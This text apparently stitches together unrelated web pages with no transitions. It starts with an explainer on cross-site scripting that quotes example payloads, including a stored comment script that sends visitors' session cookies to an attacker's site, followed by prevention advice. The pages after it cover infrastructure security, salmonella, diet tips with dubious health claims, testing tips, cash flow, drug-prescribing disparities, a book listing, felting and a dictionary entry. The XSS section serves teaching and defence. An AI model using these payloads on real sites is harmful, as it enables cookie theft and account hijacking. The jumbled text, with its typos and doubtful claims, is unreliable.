Cross-site scripting attacks have been around for over 15 years and they aren’t showing any signs of slowing down. XSS is one of the most successful online attacks, pretty much topping the lists of disclosed vulnerabilities year on year.
Cross-site scripting attacks very often exploit JavaScript event attributes, but the attacks can work using any programming language. The reason why most XSS attacks tend to rely on JavaScript is simply that it is used across so many websites that it becomes the obvious choice for attackers.
Types of XSS attacks
There are three subtypes of XSS attacks:
• Reflected XSS
• Stored XSS
• DOM-based XSS
They all follow the same playbook explained above: manipulating a web application or website to deliver a malicious client-side script to a user’s unsuspecting browser. The main differences are in how the attacker manipulates the web application or website.
What is a reflected cross-site scripting attack?
A website that accepts user input and reflects the results back to the user (such as a search field) without validating the input is vulnerable to a reflected XSS attack. It is vulnerable because it simply reflects whatever was input by the user. For example, if I type “shoes” in a website’s search field, it will “reflect” back to me the results for “shoes”.
If the website’s input fields do not perform any kind of validation or sanitization—removing unwanted input before it’s processed—an attacker could craft a URL that links to a malicious script by submitting a query in a vulnerable search field, which would be reflected by the website like this:”<script>(EvilScriptYouDontWant)</script>”
The attacker would then use social engineering techniques (sending them an email with a plausible reason to click the link, for example) to manipulate targets into clicking the URL from their web browsers, which would, in turn, execute the malicious script.
What is a stored XSS attack?
In a stored XSS attack, the evil script is stored on the server itself. Victims are attacked through their usual interaction with the web application or website. No need to trick the users by sending them phishing emails.
Here is a classic example of how this could work:
An attacker manipulates a vulnerable website’s commenting system to input commands that execute a script when a web browser renders the page.
Say the following represents how a web page displays user comments:
print “<html>”
print “<h1>Latest Comments</h1>”
print database.latestcomments
print “</html>”
It simply takes the most recent comment from its database and displays it without performing sufficient validation on the input (i.e. making sure it contains no code) and is hence vulnerable to XSS attacks. Just like in our reflected XSS attack example.
Because of this, an attacker could submit a comment that contains a malicious script, such as:
Resulting in:
<h1>Latest Comments</h1>
When a victim loads this webpage, their browser will execute the script because it comes from what the browser considers a trusted source.
What is a DOM-based XSS attack?
The Document Object Model (DOM) is a convention used to represent and manipulate objects in HTML documents. All HTML documents have an associated DOM that consists of objects, which translate to document properties to web browsers that render the page. When a client-side script is executed, it uses the DOM of the HTML page to access the different properties of the HTML page and modify their values to render the page properly.
DOM-based XSS attacks work in the same way as reflected XSS attacks in that the user themselves trigger the malicious script by clicking a link they presumably received from the attacker. The attacker exploits DOM vulnerabilities to craft a URL that serves a malicious script that the browser will execute when accessing DOM properties.
The biggest difference between a DOM-based XSS attack and a reflected XSS attack is that DOM-based attacks take place entirely on the client-side. The attacker does not send any malicious scripts to the server. This is a common attack to steal login cookies and hijack accounts.
Common XSS attack vectors
Here is a list of common XSS attack vectors. All of the examples are taken from OWASP’s XSS Filter Evasion Cheat Sheet, which has a more complete list. These are the HTML tags most often exploited in XSS attacks.
JavaScript event attributes
JavaScript event attributes are probably the most common XSS attack vector, as they’re used in many different HTML tags.
Common attributes are:
• onerror
• onload
• onactivate
• onaclick
• onamouseover
<body onload=alert(“XSS")>
<script> tag
The <script> tag is the most common XSS payload. A script tag can either reference external code or can have the code embedded within the script tag itself.
<!-- External script -->
<script src=></script>
<!-- Embedded script -->
<body> tag
The <body> tag is another common XSS attack vector. It can deliver an XSS payload by using JavaScript event attributes as well as other attributes.
<!-- background attribute -->
<img> tag
The <img> tag is often used to embed malicious JavaScript.
<!-- <img> tag XSS -->
<img lowsrc=“javascript:alert('XSS')">
<link> tag
The <link> tag, often used to link to external style sheets, can contain a malicious script
<!-- <link> tag XSS -->
XSS attack example: Stealing your cookies
Let’s put this all together and look at what an XSS attack might look like from A to Z, using a real-world example.
Signing-in to a website creates a session cookie. The purpose if session cookies is to authenticate you as you move about the site. They can store login credentials, credit card information, address information (online shopping), etc. Without session cookies, you’d have to log in to your banking site every time you access a different page.
Session cookies contain a host of sensitive data points and that’s what makes them attractive to cybercriminals. In fact, one of the most common XSS attacks is one that attempts to steal your session cookies in order to later impersonate you – typically for financial gain – by using the information gleaned from your cookies. It works something like this:
Common XXS attack
1. The attacker injects a script designed to steal your session cookies into the website’s database. This can be done using the method detailed above: by submitting malicious content (typically JavaScript) in a vulnerable comments form. The attacker could write the following code into a comment:
<script>window.location=“" + document.cookie</script>
2. The script, when executed, will grab the cookie from the vulnerable site and send it to the malicious site. Because the vulnerable site does not sanitize user input, the attacker can store the script on the server as a comment. And the comment now executes the script on every web browser that views the page (assuming the browser allows scripts). The poisoned comment appears in source code like so:
<h1>Latest Comments</h1>
window.location=“" + document.cookie
3. The attacker can either wait for random unsuspecting users of the site to access the poisoned page, or they can target a victim by tricking them into clicking a link that takes them to the poisoned page (social engineering).
4. The web server serves the page with the attacker’s payload to the victim’s browser, which executes the script.
5. The scripts sends the victim’s session cookies to the attacker.
6. Once the HTTP request arrives at the attacker’s server, the attacker can place the cookie in their own browser to bypass the site’s login mechanism and impersonate the victim.
Real-world XSS attack examples
• In 2018, UK carrier airline British Airways fell victim to a data breach affecting 380 000 booking transactions. The attackers used cross-site scripting to exploit the site’s JavaScript and send customer data back to a server they controlled.
• In 2019, the popular online video game Fortnite suffered a data breach that allowed attackers access to the accounts of up to 200 million users. This was a cross-site scripting attack that exploited an XSS vulnerability in just one unsecured webpage on Fortnite’s servers. That was enough to open the gates to the kingdom.
• Between December 2015 and January 2016, online marketplace giant, eBay, had a known XXS vulnerability present on its website’s servers. The attackers were able to inject malicious JavaScript into some of eBay’s listings. Once a user clicked one of these listings, they were taken to a legitimate-looking but fake eBay page where their personal information was harvested. It took a report on the vulnerability by the BBC to motivate eBay to fix it.
How to prevent XSS attacks
The way to prevent cross-site scripting attacks depends on the type of XSS vulnerability, the user input context, and the programming framework. However, there are still some general common-sense guidelines that you should follow to keep your web application safe.
1. Use a web vulnerability scanner and perform regular scans
Much like how a personal computer needs a virus scanner (antivirus), your web application or website needs a web vulnerability scanner. There are many different ones available from different vendors. A web vulnerability scanner will perform regular scans of your web application/website and alert you of any issues it finds.
2. Be aware as you build
Everyone involved in building the web application/site needs to be aware of the consequences of XSS vulnerabilities and keep them in mind as they code. Make sure every relevant group in your organization, from the devs to QA, have received adequate training on these issues.
3. Don’t trust user input
That’s right. Don’t trust any user input, ever. Any HTML output that contains user input, introduces the risk of an XSS attack. And the more of it there is, the bigger the risk becomes. Treat input from authenticated users, internal users, and public users the same way: don’t trust it.
4. Set the HttpOnly flag
Setting the HttpOnly flag for cookies will help mitigate potential XSS vulnerabilities. Setting the HttpOnly flag ensures that cookies will not be accessible via client-side JavaScript (as in our cookie-stealing example, above), only through HTTP.
5. Use escaping/encoding
Use a proper escaping/encoding technique according to where the user input occurs: HTML escape, JavaScript escape, URL escape, etc. It’s also safer to use existing libraries for escaping rather than writing your own.
6. Sanitize your HTML
You won’t be able to escape/encode user input that contains HTML without breaking valid tags. As a workaround, use a trusted and verified library to parse and clean the HTML. Be sure to choose the appropriate library for your development language.
7. Enable Content Security Policy
To further mitigate the consequences of XSS vulnerabilities, enable Content Security Policy (CSP). CSP is an HTTP response header that allows you to determine which dynamic resources can load, based on the source of the request.
Wrapping up
Of course, the above doesn’t constitute a guarantee against XSS attacks but following that advice will help. Setting up your defense before the attack occurs will always be a better strategy than mounting a defense after the attack. Also, just keeping XSS vulnerabilities in mind and setting up common sense countermeasures will make XSS vulnerabilities and potential attacks easier to deal with and manage.
See also: |
Cybercrime is an increasing problem worldwide and, with data now the most valuable asset for modern society, our critical national infrastructure is under threat like never before.
Historically, problems have been mainly experienced within IT security but cyber-attacks are now beginning to focus in a different direction, with motivation for financial gain or major disruption.
If power for an airport is outed, for example, the impact is huge. We have already seen an attack on our healthcare system and these types of large scale attacks can affect the whole country.
The biggest problem is business continuity. Small scale businesses can briefly shut down, but this is not an option for critical national infrastructure. It is a major challenge to provide continuous service and recover quickly and gracefully.
The Internet of Things has played a big role in cybersecurity. Networks that were traditionally safe have had elements of smart technology added and that makes systems more vulnerable. In electric power, for example, with a move towards smart grids connected to the internet, the attack space is being increased.
So how do we safeguard against these attacks? It is time for industries to wake up and prepare for the next wave of attacks that might come.
Again, using the example of power networks, these contain in-built technology to ensure that the effects of an outage do not cascade. We need to introduce some of these technologies into the security side of things. There is also a great deal more work that needs to be done to understand cyber threat models and what it means when a larger network could be faced with multiple attacks at the same time.
We are also looking at new novel solutions to detect how some of these attacks are taking place and also build resilient systems that continue working even when they’ve been attacked.
Hackers are coming up with something new all the time. We have to try to be one step ahead.
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Salmonella Poisoning Symptoms, Causes and Information
Synopsis: Information on Salmonella a type of food poisoning causing gastroenteritis diarrhea and other complications.1
Author: Disabled World
Published: 2010-08-19 Updated: 2010-09-01
Main Digest
Information on Salmonella, a type of food poisoning causing gastroenteritis, diarrhea, and other complications.
Salmonella is a type of bacteria. It is usually found in poultry, eggs, unprocessed milk and in meat and water. It may also be carried by pets like turtles and birds.
Salmonella has nothing to do with the salmon fish, Salmonella are non-spore forming, predominantly motile enterobacteria closely related to the Escherichia genus and are found worldwide in cold and warm-blooded animals (including humans), and in the environment. There are more than 2,000 varieties of salmonella bacteria, but only about a dozen of them cause illnesses in people. They cause illnesses such as typhoid fever, paratyphoid fever, and the foodborne illness salmonellosis.
Salmonella infections are zoonotic and can be transferred between humans and nonhuman animals. Many infections are due to ingestion of contaminated food. The organism enters through the digestive tract and must be ingested in large numbers to cause disease in healthy adults. Gastric acidity is responsible for the destruction of the majority of ingested bacteria. The infection usually occurs as a result of massive ingestion of foods in which the bacteria are highly concentrated similarly to a culture medium. However, infants and young children are much more susceptible to infection, easily achieved by ingesting a small number of bacteria.
After a short incubation period of a few hours to one day, the germ multiplies in the intestinal lumen causing an intestinal inflammation with diarrhea that is often muco-purulent and bloody. In infants, dehydration can cause a state of severe toxicosis. The disease usually is mild. There is normally no sepsis, but it can occur exceptionally as a complication in weakened elderly patients (Hodgkin's disease, eg.). Extra-intestinal localizations are possible, especially Salmonella meningitis in children, osteitis, etc. Enteritis Salmonella (e.g., Salmonella enterica subsp. enterica serovar enteritidis) can cause diarrhea, which usually does not require antibiotic treatment. However, in people at risk such as infants, small children, the elderly, Salmonella infections can become very serious, leading to complications. If these are not treated, HIV patients and those with suppressed immunity can become seriously ill. Children with sickle cell anemia who are infected with Salmonella may develop osteomyelitis.
Symptoms of salmonella poisoning Include:
Sources of Salmonella Infection Include:
Salmonella bacteria can survive several weeks in a dry environment and several months in water; thus, they are frequently found in polluted water, contamination from the excrement of carrier animals being particularly important. Aquatic vertebrates, notably birds and reptiles, are important vectors of salmonella. Poultry, cattle, and sheep frequently being agents of contamination, salmonella can be found in food, particularly meats and eggs. The reported incidence of Salmonella illnesses is about 14 cases per each 100,000 persons About 142,000 Americans are infected each year with Salmonella enteritidis from chicken eggs, and about 30 people die.
Cook food well to avoid salmonella poisoning
Salmonella-induced gastroenteritis is most often caused by eating raw or undercooked meat, poultry, eggs or egg products. The shell of the egg may be contaminated by feces or environment, or its interior (yolk) may be contaminated in utero. The only effective way to kill salmonella bacteria is with heat. For this reason it is essential to cook food thoroughly.
Related Food Security Documents
Full List of Food Security Publications
Recent Disability News and Updates
Full List of Disabled World News Updates
Cite Page: Journal: Disabled World. Language: English (U.S.). Author: Disabled World. Electronic Publication Date: 2010-08-19. Last Revised Date: 2010-09-01. Reference Title: Salmonella Poisoning Symptoms, Causes and Information, Source: <a href=>Salmonella Poisoning Symptoms, Causes and Information</a>. Abstract: Information on Salmonella a type of food poisoning causing gastroenteritis diarrhea and other complications. Retrieved 2021-02-28, from - Reference Category Number: DW#436-4988. |
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Yours in Health: You are what you eat
Everything we put into our bodies becomes part of our cells and tissues. Nutrients from our food helps to keep connective tissue and bones strong, hair healthy and skin young and vibrant.
Your food choices can cause disease and inflammation, change your mood and even your mental well-being. If you have any pre-disposition to diabetes, heart disease, cancer or auto-immune disease it is important to be mindful of what is on your fork.
There are many different diet choices out there, ranging from paleo to vegan. There is no right way for anyone to eat, since we all have a different genetic make-up. However, there are a few guidelines to be aware of when making healthy food decisions.
• Choose organic produce whenever possible. Glyphosate or Roundup, is a pesticide used on most crops. Studies done by researchers at the University of Washington, found that ingesting excess amounts of glyphosate increases the risk of cancer by 41 percent.
• Know where your meat sources come from. Grain-fed meat has a high omega-6 to omega-3 ratio. A higher omega-6 diet can lead to inflammation, cognitive decline, allergies, heart disease, arthritis and mental disorders. Omega-6 examples include grapeseed, corn, soy, and sunflower oils. Organic, grass-fed meat contains a high amount of omega-3s. To add omega-3s into your diet, eat salmon, sardines, walnuts, chia seeds and flaxseed.
• Limit your sugar intake. Daily sugar consumption should not exceed 25 grams or 6 ¼ teaspoons. High amounts of sugar and high fructose corn syrup lead to a fatty liver, diabetes and heart disease.
• Drink clean water and lots of it! Heavy metals and carcinogens can be found in unhealthy amounts in drinking water, causing tap water toxicity. Reverse osmosis and filtration water machines are a way to ensure you are drinking clean, healthy water. Drink your body weight in ounces daily. Adding lemon to your water is a great way to sneak in extra electrolytes, plus lemons are an excellent liver cleanser.
• Eat small meals during the day. It is good to eat small meals or healthy snacks regularly, especially if you are inclined to have low blood sugar. Mixed nuts and seeds, guacamole, hummus, or apple slices with nut butter are some great options.
• Limit caffeine and alcohol intake. Try not to exceed drinking more than 1-2 cups of coffee per day, and do not drink caffeine after noon. Limit alcohol to no more than one drink per day. Be mindful when consuming alcohol, as it too can contain hidden ingredients such as high fructose corn syrup and glyphosate.
• Eat several cups of vegetables a day, mainly consisting of greens such as kale, spinach, microgreens and broccoli. Greens are high in vitamin B, A, K, C, and folate.
Always aim to eat live, whole foods. The less processed and packaged foods you eat, the better you will feel on the inside and out.
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Red Like Roses Analysis
1169 Words5 Pages
b. This scene describes what happens to Fermina immediately after the death of Urbino, including her grief and the reappearance of Florentino.
c. This song first came to mind from a sentence on Page 17: “Remember me with a rose,” which inspired me to choose this song. The name of the song (also the first three words sung in the song) resonate strongly with themes of both the scene and the chapter. Roses are, of course, symbols of love, but the name of the song, as a song of death and tragedy, also refers to the color of blood. This intermixing of love and death resulting from it relates strongly to the entire chapter.
d. In particular, “Red Like Roses” isn’t a heart-gripping song of grief and sorrow. It’s starting melody is slow and alternates
…show more content…
While still a happy and sweet song, it is a different sort of happy from “Connect.” The song is composed mostly of a single slow yet happy melody with a lilting flute tone played over it for portions of the song. Some parts are entirely played by a xylophone, evincing a childish tone, but the majority is content and idyllic, much like the resolution to Fermina and Florentino’s relationship. At the end of the novel, Fermina and Florentino are simply content to live with each other, entranced by love but lacking the highs and lows of young love. In other words, they are content to simply live their lives in peace and bliss, the theme of the song (and the story it comes from).
e. Moreover, the repetitive tone is a fitting resolution to the novel. Like with most parts of the novel, Marquez avoids dramatic revelations and heated scenes. The ending is a sort of resolution to the story, but it is also a beginning of a new one all by itself, one that involves living life in peaceful joy. Life will go on, and it will be happy, with no exceptions, comparable to the rejection of reality for an idyllic life at the end of the novel. That lifestyle is
f. the theme embodied by the song “Undertale,” which coincidentally seems to name the end of a
More about Red Like Roses Analysis
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Protractor test: Best Practices
Writing a test case is not a big deal but writing a good test cases is. You must know which protractor method to use when. Here are some of the best practices to be followed while writing a test case.
browser.sleep() VS browser.wait()
I will try to explain it better with an example. Let’s assume we hit a button and after that a pop-up opens up. Now to test this we want a pause after we hit the button.
Now when we use sleep(5000) i.e sleep of 5 sec, after we hit the button. browser will stop functioning for 5 sec after button is hit and after 5 sec it starts functioning i.e it starts doing actions on pop-up. Now when we use wait(popup.present(),5000), it will wait for pop-up to be rendered within 5 sec.
So, what’s the difference between the two, Sleep is going to pause for full 5 sec even though pop-up might be displayed in 1 sec only but wait is going pause for only 1sec if pop-up displays in 1 sec. You see use wait is more beneficial the sleep.
So it is better to use browser.wait() instead of browser.sleep()
toBe() vs toEqual()
toEqual() is similar to equivalence (==) in JavaScript, while toBe() is similar to strict equivalence (===) in JavaScript.
So, if we have two objects A and B,
var A={
var B={
expect(A).toEqual(B); // returns true
expect(A).toBe(B); // returns false
toBe(true) vs toBeTruthy() vs toBeTrue()
toBe(true) works same as JavaScript strict equivalence (===)
return {
pass: actual === expected
When something is truthy it may or may not be a boolean, but the “cast” value of is a boolean.
return {
pass: !!actual
Some of the values which are truthy are:
true == true; // truthy
1 == true; // truthy
"hello" == true; // truthy
[1, 2, 3] == true; // truthy
[] == false; // truthy
false == false; // truthy
0 == false; // truthy
"" == false; // truthy
undefined == false; // truthy
null == false; // truthy
toBeTrue() checks if the value returned is true
return actual === true ||
is(actual, 'Boolean') &&
Using toBe(true) is the best option.
isPresent() vs isDisplayed()
isPresent() checks if element exists in DOM and may be visible or hidden. On the other hand isDisplayed() checks if element exists in DOM and also visible.
EC.presence() vs EC.visibilityOf()
presence() checks an element in present in the DOM and may or may not be visible.
visibilityOf() checks an element in present in the DOM and also visible i.e has height and width.
Let me know your thoughts
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Statement of Cash Flow: What is It and Why Do I Need It?
February 2020
Are you sure that your small business is successful? If you use your profits to gauge your company’s health, you may be in for an unpleasant surprise. You can have a profitable business that fails because it doesn’t have enough cash flow to sustain itself. Keep an eye on your complete financial picture by creating a cash flow statement.
What is a cash flow statement?
A cash flow statement is a summary of the cash (and cash equivalents) that is moving into and out of a business. It indicates whether a business can meet its financial obligations. It is different from the profit statement, as profit, sometimes called “net income” is the money that is left over after you have met your business financial obligations.
How do I calculate a cash flow statement?
For a small business, where you are not obligated to file cash flow statements, the process can be more streamlined than creating a formal statement. Review:
Accounts receivable: what are you owed and when can you realistically expect to receive it?
Accounts payable: what do you owe, and can you meet your obligations?
Shortfalls: Do you owe more than you can pay?
You may be able to track your cash flow on a basic spreadsheet, or you may want to use a small business accounting program that will run the calculations for you. Or you may want to hire an accountant, and have him or her run a comprehensive cash flow statement annually or even quarterly if your business is in a growth cycle (businesses can be faced with a lot of expenses when they are seeing significant growth, and at the same time may be waiting for invoices to be paid). You can maintain the statement on your own in between accountant visits.
What is Cash Flow Positive and Cash Flow Negative?
Cash Flow Positive indicates that you have more money coming into your business than what is going out. Cash flow negative means that more money is going out of your business than you have coming in. This can happen if your business is seasonal, if you’ve had to make a large purchase of equipment or inventory or are growing rapidly. Or your clients/customers may not pay their bills on time or may make partial payments. There are other reasons too, but essentially Cash Flow Negative happens when you don’t have immediate access to the funds you need to meet your basic business financial obligations such as payroll, rent, utilities, vendor payments, etc.
How often should I do a cash flow statement for my small business?
Consider tracking it month-by-month for the first two years or so. Eventually you may want to move to tracking quarterly. During times of growth or slow cycles, you may want to look monthly to catch any evolving issues before they become problems. Situations to watch for include always needing to wait for payments from customers before you can pay your own bills, consistently paying your bills late, and when your accessible funds do not seem to align with your business’ profit and loss statement.
What can I do to fix a cash flow problem?
If your small business frequently experiences a cash flow crisis, take remedial action to address it. You may also want to talk to a financial professional, attend small business financial workshops, or find a mentor.
If you rarely have cash flow concerns, chances are your cash flow problems are caused by bad timing. A short-term loan or line of credit from a bank can be an option that gets you through a rough spot. However, small business bank loans are rarely fast or easy to get, especially if you don’t have an excellent credit history and a detailed business plan.
If you don’t qualify for a bank loan, or need funding within days instead of weeks, consider looking into alternative funding sources. These funders offer options designed to meet the needs of smaller businesses. Business owners don’t need to have perfect credit scores to be approved, alternative lenders are more concerned about your ability to pay now than your past credit history. And the application and approval process typically takes minutes, not months.
One easy way to get the process started is by getting pre-qualified by One Park Financial, a company that focuses on helping owners of small and mid-sized businesses access funding. Visit or call 855.218.8819 and connect with a funding expert to discover the options that make sense for you and your business. |
Race and Novel Prescription Drugs
EKG showing atrial fibrillation
Over the past year, an increasing number of novel therapies and technologies hit the market for a host of chronic medical conditions from cancer to diabetes. With these treatments came a renewed focus by the health system, the public, and the technology sector on the use of precision medicine, or personalized, highly-specific treatment, for disease management. While this has led to an exciting time in health care, we need to proceed with caution as these advances may widen racial health disparities in the United States.
As a primary care physician who provides the initial assessment and management for several chronic conditions, I am always pondering this question. My colleagues and I recently set out to investigate racial disparities in disease management on a national scale, focusing on a condition known as atrial fibrillation (AFib), or an irregular heart rhythm.
AFib raises an individual’s risk of stroke and death and is increasingly common in the US given our aging population. Research shows that Black patients with AFib have a higher risk of stroke and death than White patients, resulting from several factors connected to socioeconomic status and access to health care. We hypothesized that another possible reason for higher complication rates in Black patients with AFib is differential treatment of the condition, specifically treatment with a newer class of stroke-preventing blood thinners, called direct-acting oral anticoagulants (DOACs).
Our findings also show that socioeconomic status alone is not enough to explain the differential treatment by race we see in the use of novel treatments.
Our findings, recently published in JAMA Cardiology, were striking. We found that, among patients with AFib, Black individuals had a 25% lower likelihood of receiving any blood thinners. When they were prescribed blood thinners, they had a 37% lower likelihood of receiving the newer class of DOAC medications compared to White patients. These differences held true even for Black patients with health insurance, high incomes, and high levels of education.
What do our findings mean for racial disparities in the use of novel treatments? For starters, health disparities still exist despite decades of research, quality improvement, and policies intended to reduce them. Our findings also show that socioeconomic status alone is not enough to explain the differential treatment by race we see in the use of novel treatments.
Possible mechanisms that remain unexplored include patient-level factors such as trust in the health system and health literacy on decisions around novel medications. At the provider level we need to examine the role implicit bias might play when initiating conversations about novel treatments with minority patients. Lastly, at the health system level, more research needs to be done on the implications of high costs of novel treatments, across the socioeconomic spectrum.
Whether we like it or not, society is moving towards an age of precision medicine, and the desire by patients, and providers, to be treated and to treat with the latest, most advanced therapies is a valid one. How prepared we are as a health care system to address these desires and to ensure equity remains to be seen. We hope the findings of this study serve as a reminder to take a pause when a new therapy comes out and ask: who is most likely to benefit from this treatment and how can we ensure that it is distributed fairly?
Feature image: Popfossa, AF, LAD, LBBB, used under CC BY-NC 2.0 |
1st Edition
The Imperial Presidency and American Politics
Governance by Edicts and Coups
• Available for pre-order. Item will ship after July 22, 2021
ISBN 9780367619961
July 22, 2021 Forthcoming by Routledge
168 Pages
USD $29.95
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Book Description
Those who saw Donald Trump as a novel threat looming over American democracy and now think the danger has passed may not have been paying much attention to the political developments of the past several decades. Trump was merely the most recent–and will surely not be the last–in a long line of presidents who expanded the powers of the office and did not hesitate to act unilaterally when so doing served their purposes.
Though presidents are elected more or less democratically, the presidency is not and was never intended to be a democratic institution. The framers thought that America would be governed by its representative assembly, the Congress of the United States. Presidential power, like a dangerous pharmaceutical, might have been labeled, "to be used only when needed."
Today, Congress sporadically engages in law making but the president actually governs. Congress has become more an inquisitorial than a legislative body. Presidents rule through edicts while their opponents in the Congress counter with coups. The courts sputter and fume but generally back the president. This is the new separation of powers–the president exercises power and the other branches are separated from it.
Where will this end? Regardless of who occupies the Oval Office, the imperial presidency inexorably is bringing down the curtain on American representative democracy.
Table of Contents
Chapter 1: How the Imperial Presidency Has Poisoned American Politics
Chapter 2. The Rise of Presidential Imperialism and the Politics of Edicts and Coups
Chapter 3. Fighting to Control the Nation’s Bureaucracies
Chapter 4. How the FBI and Other Security Agencies Interfere in American Politics
Chapter 5. How the Courts Enable the Imperial Presidency
Chapter 6. The Presidency and America’s Future
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Benjamin Ginsberg is the David Bernstein Professor of Political Science and Chair of the Center for Advanced Governmental Studies at Johns Hopkins University. He is the author, co-author or editor of thirty books including The Fall of the Faculty; Presidential Government; Downsizing Democracy; The Captive Public; Politics By Other Means; and America’s State Governments: Disconnected Democracies (Routledge, 2020). Ginsberg received his PhD from the University of Chicago in 1973 and was Professor of Government at Cornell until 1992 when he joined the Hopkins faculty.
Praise for The Imperial Presidency and American Politics
The modern presidency seems to be out of control—powerful, unilateral, and, ultimately, destabilizing to the political system. In this provocative and engaging book, Benjamin Ginsberg diagnoses these long-term developments and treats Donald Trump’s presidency as emblematic of, rather than a departure from, the disturbing trends of presidentialization, bureaucratic in-fighting and legal warfare, and the overall decline of democratic control over national government.
--Douglas B. Harris, Loyola University Maryland
A giant in the field of institutional politics, Benjamin Ginsberg once again delivers a highly insightful and engaging work. The book shines a light on the growing and largely unchecked power of the U.S. presidency. This is a must-read for scholars and citizens alike who are concerned about the future of American democracy.
--Jennifer Bachner, Johns Hopkins University
Ginsberg brings together the fascination with Trump and the imperial presidency to lay out a driving narrative about the nature of American governance as it has evolved in recent decades to become ever-more presidency-centered. He has elegantly distilled this as "the politics of edicts and coups." Yet this is not simply a polemical work. Ginsberg parses the component elements that have brought the country to this point, examining battles over the bureaucracy, the role of law enforcement/security agencies, and consistently pro-executive court rulings. Ginsberg’s end point is as sober as it is significant: that the American system is about power, not democracy.
--Robert J Spitzer, SUNY Cortland |
Blended Felting Techniques
Blended Felting Techniques
Alexander Wang, AW11, New York.
Felting is a fabric technique that can produce a variety of different effects depending on the method, from wet felting and nuno felting through to needle punch felting. There are many wonderful resources online that show quite craftsy looking projects using different felting methods, but don’t be put off by the projects themselves as the techniques can easily be adopted to create contemporary garments.
Felt as a fabric is essentially a non-woven material made from loose fibres that have been matted together. In wet felting the fibres are joined by essentially using hot soapy water and friction to cause the “scales” on the wool fibres to lock together.
Different felting effects are created using different methods so while wet felting can be used to create whole pieces of felt, nuno felting and needle punch felting are the techniques that are more likely to have been used to create the blended felting look that can be seen in some of the images below.
Gabriele Colangelo, AW13. Images from»
As a general overview of the differences between these different methods, where wet felting is made entirely from loose fibres, nuno felting has been developed to felt loose fibres on top of a fabric base using a similar technique to wet felting. For example, using a nuno felting method you could wet felt wool fibres over a silk organza or synthetic fabric backing.
The following excerpt from the Dharma Trading Company website» describes the different steps taken depending on whether you are choosing the wet felting or nuno felting technique:
Wet felting and Nuno felting instructions:
The Wet and Nuno felting techniques are the same except for one slight variation in step 4, and water temperature. Many substitute cold to room temperature water for the Nuno felt process as things have to happen more slowly. See below:
1) In the dish tub, make a bath of hot soapy water about an inch or so deep, and place a piece of the textured material you choose in the bottom for friction. Hot water and soap help open the wool scales (microscopic ‘hooks’ on the wool fibres that lock together, or felt). Use cooler water for Nuno technique.
Note: You can also lay this out on a flat protected work surface if you need a larger area than a dish tub allows. Do this outside or someplace you can drip soapy water without worrying about the floor. Things are going to get wet, including you!
2) Lay down your roll-up mat (the roll up mat needs to be wider than your project, long enough to roll up all around the project, and stiff enough to hold it’s tube shape when rolled up. We have seen sections of pool cover used, as well as sushi mats, and others. The keys are that water should be able to move through it, and there should be some texture, which helps the felting process).
3) Now, lay down on top of your roll-up mat the tulle fabric.
4) Lay out thin layers of wool roving and/or wool yarns on the tulle fabric, building up evenly as you go. You can use all kinds of colors and designs just by laying out different shapes and patches of roving. Remember that your piece is going to shrink as it felts so you want to make it slightly larger than you think you will need. Also keep in mind that you are creating a flat sheet of felt, so building up your layers unevenly will result in a piece of felt fabric with uneven thickness.
*4a) If you are doing Nuno felting with a silk scarf or fabric, at this point you want to lay your scarf or fabric out on top of the roving and tulle and then repeat step 4, placing more roving and/or wool yarn in the same places on top of the scarf or fabric. You can also have design elements on top made with yarns or roving. You will then have roving on both sides of the material, like a mirror image, so that they tangle together through the fabric. Like a sandwich!
5) Next, wet down everything on your roll-up mat with some of the hot soapy water (a squeeze bottle is handy for this), and then roll up the mat and secure it closed with some string or strips of fabric. (cool water for Nuno technique)
6) Now immerse the bundled tube in the hot (cool water for Nuno technique) soapy water bath and start rolling/rubbing it on the textured liner you placed in the bottom of the dish tub. Push down while you roll to increase the friction on your felt.
Note: If you are working on a table with a big bundle, you will need to continually soak the bundle with hot soapy water (you need to keep it warm and wet. Some squeeze bottles filled with hot soapy water can help). Make sure you put pressure on all parts of your bundle at some time, rather than rolling in the same places over and over, as the friction is the main catalyst for felting. Using your forearms to roll it can create more pressure and friction, and help keep you from getting tired.
7) There is no set amount of time it will take for your wool to felt. Too many factors affect the speed, such as the water temperature, the amount of friction, the amount of material to be felted, etc. So, every now and then, open your bundle and take a peek at how your felt is doing. If it is solid felt it is done; if it is still loose in places, just roll it back up and keep rolling. If the water starts to get chilly warm it up with some hot water. You need to keep it warm because this keeps the wool scales opened up, allowing it to tangle/felt faster and easier. You also want to keep your bundle wet and soapy throughout the process (a squeeze bottle with hot soapy water helps).
8) When you are happy with the degree of felting, unroll your project and rinse out the soap (a shower spray works nice for this and helps things felt up just a bit more). You can rinse and dry the piece before or after removing the tulle base. Though the wool fiber may ‘adhere’ slightly to the tulle base, but it should mostly just pull off. When you have rinsed out all the soap you might want to rinse the felt in a bit of water and vinegar (or citric acid). This will help to smooth out the wool scales a bit, locking them more in place, as well as helping neutralize the slight alkalinity of the soap, which over time can be damaging to protein fibers (i.e. wool).
9) Dry out your felt by blotting it with a clean towel. You can also roll up your felt in a towel and press on it, or just lay the wool out in a dry location. It can take some time for heavy felt to completely dry out, on the order of a day or two. Essentially you now have a piece of wool fabric, and it should be treated as such in regards to laundering.
10) Enjoy your felt!
The following images show the work of designer Shaun Samson who beautifully blended different plaids and linens in his MA collection at Central Saint Martins. There is a wonderful interview on StyleSalvage with Shaun Samson» that goes into more detail about the process of creating the collection and how he used a needle punch machine to create the effect. There are also some great photos of small textile test swatches that help to show how Samson developed his felting ideas.
Shaun Samson also spoke more about the technique in this interview with 200% Magazine»
You can see more garments from this collection in a previous post on The Cutting Class Manipulating for Menswear: Shaun Samson»
Shaun Samson, Central Saint Martins MA, AW10. Images from Totem»
In the images below taken from an Alexander Wang collection you can see how the fabrics may have been seamed together first and then loose fibres could be used to blend the seam line using needle punch felting techniques.
You can see more images from this Alexander Wang collection in a previous post on The Cutting Class Alexander Wang’s Felted Knitwear»
Alexander Wang, AW11, New York. Images from»
The following video gives a brief explanation of how needle punch felting works by hand, and you can see that this would be a technique that could be easily adopted for a wide variety of applications.
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intaglio printing
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ThesaurusAntonymsRelated WordsSynonymsLegend:
Noun1.intaglio printing - a printing process that uses an etched or engraved plateintaglio printing - a printing process that uses an etched or engraved plate; the plate is smeared with ink and wiped clean, then the ink left in the recesses makes the print
printing process, printing - reproduction by applying ink to paper as for publication
photogravure - printing from an intaglio plate prepared by photographic methods
References in periodicals archive ?
The notes have some intaglio printing, which gives them relief marks that can be felt.
"These new generation banknotes are special because they are printed through Intaglio printing technology.
